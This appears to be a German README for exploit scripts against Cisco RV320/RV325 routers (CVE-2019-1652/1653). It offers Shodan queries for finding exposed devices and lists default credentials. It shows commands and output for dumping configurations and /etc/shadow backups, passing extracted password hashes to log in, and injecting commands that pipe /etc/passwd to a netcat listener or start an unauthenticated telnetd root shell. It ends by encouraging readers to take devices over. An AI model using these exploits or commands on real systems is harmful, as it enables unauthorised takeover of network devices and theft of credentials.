
CVE-2019-1652 /CVE-2019-1653 Exploits zum Auslesen von Cisco RV320 Konfigurationen & Debugging-Daten UND Remote Root Exploit!
CVE-2019-1653/CVE-2019-1652 Exploits zum Auslesen von Cisco RV320-Konfigurationen und Erlangen von RCE
Implementierungen der von Red Team Pentesting GmbH veröffentlichten Exploits CVE-2019-1652 und CVE-2019-1653.
Ich habe diese nur auf einem RV320 getestet, aber laut Cisco Advisory ist auch der RV325 anfällig.
Die folgenden Shodan-Abfragen scheinen sie zu finden, falls Sie neugierig sind, wie viele es da draußen gibt. Es scheinen einige zu sein...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
Die Schwachstellen erlauben Folgendes:
Nebenbei: Die Standard-Anmeldedaten sind cisco:cisco.
Für den Konfigurations-Dump-Exploit geben Sie einfach Ziel, Port, SSL an/aus und das Ausgabeverzeichnis an. Er speichert die Konfiguration dort.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
Für den Debug-Daten-Dumping-Exploit ist das gleiche Verfahren, aber die ausgegebenen Daten sind größer und verschlüsselt.
Sie sollten diese mit dem bereitgestellten Skript decrypt.sh oder manuell mit openssl entschlüsseln. Das ergibt eine Tar-Datei.
Die Debug-Ausgabe liefert nicht nur die Konfiguration, sondern auch Backups von /etc und /var, und ja, die Datei /etc/shadow ist vorhanden.
Ich werde das Entschlüsselungsskript irgendwann in Python neu schreiben, aber das war eine schnelle Notlösung.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
Mit den Anmeldedaten, die Sie daraus erhalten (gehasht), können Sie dann CVE-2019-1652 ausnutzen, um Befehle auf dem Gerät auszuführen.
Ein paar Anmerkungen zum „Hashing“ des Passworts, bevor wir weitermachen. In der Konfigurationsdatei finden Sie eine Variable namens PASSWD, gefolgt von einem md5-Hash.
Dieser md5-Hash ist md5($password.$auth_key), wobei der auth_key ein statischer Wert ist, den Sie durch einen GET / und Parsing finden können.
Es gibt einen scheinbar üblichen, den ich im RCE-Exploit als Fallback hartcodiert habe, falls der blöde Regex des Seitenparsers fehlschlägt.
CVE-2019-1652 beschreibt eine triviale Shell-Befehlsinjektions-Schwachstelle, die eine Authentifizierung erfordert. exec_cmd.py implementiert dies, vorausgesetzt Sie haben gültige Anmeldedaten. „cisco:cisco“ ist der Standard, aber Sie könnten auch einige Hashes knacken.
Die Befehlsinjektion ist blind, daher erhalten Sie keine Ausgabe. Die Umgebung ist ein extrem eingeschränktes Busybox-Setup mit einem verstümmelten netcat, und die Boxen sind mips64, daher habe ich mir diesmal nicht die Mühe gemacht, einen Reverse-Shell-Exploit zu schreiben. Sie können jedoch eine Befehlsausgabe erhalten, indem Sie Dinge wie cat /etc/passwd | nc HOST PORT tun und einen Listener laufen lassen, oder was auch immer.
Sie können auch einen Befehl wie telnetd -l /bin/sh -p 1337 injizieren und sich mit dem resultierenden Telnet-Dienst verbinden, der Ihnen eine schöne, nicht authentifizierte Root-Shell liefert.
Beispiel für die Ausführung des Exploits unten:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
Weil Cisco halt, können Sie den extrahierten Hash tatsächlich übergeben und eine angemeldete Sitzung erhalten. Also haben wir einen Exploit geschrieben, der den Hash extrahiert und übergibt.
Dieser heißt easy_access.py. Weil der Pfad der CGI-Binaries einen Ordner namens „EasyAccess“ enthält.
Beispiel für die Ausführung von EasyAccess unten...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
Viel Spaß beim Übernehmen, Kids.